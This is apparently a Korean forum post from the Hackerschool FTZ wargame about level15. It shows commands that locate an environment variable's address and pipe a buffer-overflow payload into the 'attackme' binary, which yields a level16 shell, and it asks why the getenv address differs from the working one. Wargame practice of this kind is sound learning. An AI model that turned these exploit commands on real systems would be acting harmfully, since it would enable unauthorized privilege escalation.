|
http://www.hackerschool.org/HS_Boards/zboard.php?desc=desc&no=1910 [복사]
[level15@ftz tmp]$export SCD=`python -c 'print "\xef\xbe\xad\xde"'`
#include <stdio.h>
main()
{
printf("Address of SHELLCODE : 0x%x\n", getenv("SCD"));
}
[level15@ftz tmp]$ ./abc
Address of SHELLCODE : 0xbffffe87
[level15@ftz tmp]$ (python -c 'print "\x90"*40+"\x87\xfe\xff\xbf"';cat) | ../attackme
[level15@ftz tmp]$ (python -c 'print "\x90"*40+"\x7B\xfe\xff\xbf"';cat) | ../attackme
whoami
level16
getenv를 이용하여 나온 주소는 bffffe87 인데 실제 공격을 수행하려면 bffffe7b를 입력을 해줘야 공격이 수행 되더라고요.
환경변수를 이용하여서 문제를 풀때마다 공격시 이용하는 주소랑 getenv의 출력 값이랑 다르던데 이유랑 그 사이 값에는 어떤 값들이 들어가게 되는지 알려주실수 있으신가요? ㅠㅠ |
Hit : 2414 Date : 2018/01/02 04:12
|
1574, 
17/79 
